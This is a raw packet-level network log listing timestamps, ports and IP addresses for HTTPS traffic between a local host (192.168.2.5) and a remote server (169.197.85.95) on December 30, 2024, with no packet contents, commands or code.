Dec 30, 2024 16:16:58.581373930 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.581422091 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.581429958 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.581480026 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.581938028 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.582025051 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.582222939 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.582257032 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.582274914 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.582282066 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.582295895 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.582315922 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.582334042 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.582350016 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.582357883 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.582369089 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.582374096 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.582398891 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.582408905 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.582417011 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.582432985 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.582441092 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.582490921 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.582504988 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.582511902 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.582523108 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.582537889 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.582564116 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.582571983 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.582604885 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.582612991 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.582618952 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.582675934 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.582696915 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.582736015 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.588586092 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:42.143029928 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:42.143066883 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.143173933 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:42.148298025 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:42.148313999 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.628328085 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.628401995 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:42.632750034 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:42.632761002 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.633030891 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.674154997 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:42.719331026 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.769067049 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.769085884 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.769156933 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:42.769172907 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.769897938 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.769956112 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.769967079 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:42.769974947 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.770005941 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:42.770090103 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:42.773727894 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.773792028 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:42.855237961 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.855328083 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:42.855618000 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.855689049 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:42.856168032 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.856231928 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:42.856646061 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.856684923 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.856703043 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:42.856710911 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.856723070 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.856798887 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:42.856806040 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.857554913 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.857594013 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.857616901 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:42.857623100 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.857664108 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:42.858448982 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:42.941334009 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.941412926 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.941418886 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:42.941430092 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.941627026 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:42.941860914 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.941895008 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.941941977 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:42.941941977 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:42.941948891 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.942013979 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:42.942126989 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.942159891 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.942187071 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:42.942193031 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.942207098 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:42.942688942 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:42.942712069 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.942745924 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.942770958 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:42.942776918 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.942785978 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.942792892 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:42.942821980 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.942856073 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:42.942862034 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.942877054 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:42.943053961 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:42.943479061 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.943523884 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.943528891 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:42.943535089 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.943556070 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.943578959 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:42.943586111 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.943594933 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:42.943595886 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.943672895 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:42.943677902 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.943804026 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:42.944339991 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:42.944401979 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.027414083 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.027555943 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.027618885 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.027673960 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.027681112 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.027688026 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.027781010 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.027952909 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.028053999 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.028059959 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.028115988 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.028134108 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.028171062 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.028191090 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.028197050 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.028218985 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.028453112 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.028490067 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.028495073 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.028508902 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.028513908 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.028548956 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.028563976 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.028569937 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.028584957 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.028595924 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.028655052 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.028659105 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.028842926 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.029268980 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.029306889 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.029325008 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.029330015 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.029340029 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.029351950 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.029373884 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.029409885 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.029416084 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.029424906 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.029576063 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.029941082 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.029983997 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.029997110 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.030003071 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.030026913 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.030036926 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.030067921 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.030086040 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.030096054 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.030107021 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.030142069 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.030145884 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.030145884 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.030155897 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.030196905 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.030196905 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.030888081 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.030930996 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.030945063 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.030950069 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.030972004 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.031013012 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.031018972 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.031018972 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.031025887 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.031053066 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.031079054 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.031079054 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.031085968 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.031095028 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.031112909 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.031133890 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.031137943 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.031205893 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.083388090 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.083422899 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.083476067 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.083476067 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.083487988 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.086633921 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.113581896 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.113651037 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.113740921 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.113811016 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.113832951 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.113840103 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.113867998 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.113868952 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.113940954 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.113945961 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.114053011 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.114084959 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.114104033 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.114109039 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.114159107 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.114340067 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.114377022 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.114392996 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.114398956 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.114413977 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.114434004 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.114445925 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.114464998 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.114470959 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.114526033 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.114684105 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.114789009 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.114794016 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.114880085 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.114913940 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.114943981 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.114958048 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.114958048 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.114964962 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.115000963 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.115370035 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.118522882 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.118597031 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.118721008 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.118756056 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.118782997 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.118798018 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.118798018 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.118805885 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.118838072 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.118858099 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.118892908 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.118917942 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.118917942 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.118923903 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.118946075 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.119086981 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.119117975 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.119154930 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.119160891 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.119195938 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.119362116 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.119371891 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.119371891 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.119371891 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.119380951 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.119411945 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.119436026 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.119436026 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.119446993 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.119457960 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.119524956 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.119555950 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.119792938 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.119832993 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.119842052 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.119848013 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.119872093 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.119904041 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.119910002 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.119920015 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.119920969 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.119967937 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.119972944 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.123380899 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.157761097 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.157795906 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.157849073 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.157849073 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.157856941 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.158046007 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.200329065 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.200381994 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.200419903 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.200428009 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.200444937 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.200458050 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.200488091 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.200495005 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.200495005 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.200505018 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.200548887 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.200568914 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.200579882 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.200676918 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.200684071 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.200732946 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.200772047 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.200786114 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.200793028 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.200828075 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.200896978 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.200931072 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.200939894 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.200958967 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.201011896 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.201035023 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.201045036 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.201071978 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.201076984 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.201086044 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.201096058 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.201121092 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.201139927 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.201145887 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.201178074 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.201237917 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.201309919 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.201317072 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.201333046 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.201381922 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.201387882 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.201545000 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.201590061 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.201591015 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.201602936 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.201633930 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.201646090 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.201670885 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.201716900 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.201719046 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.201719046 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.201728106 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.201757908 CET	443	57860	169.197.85.95	192.168.2.5
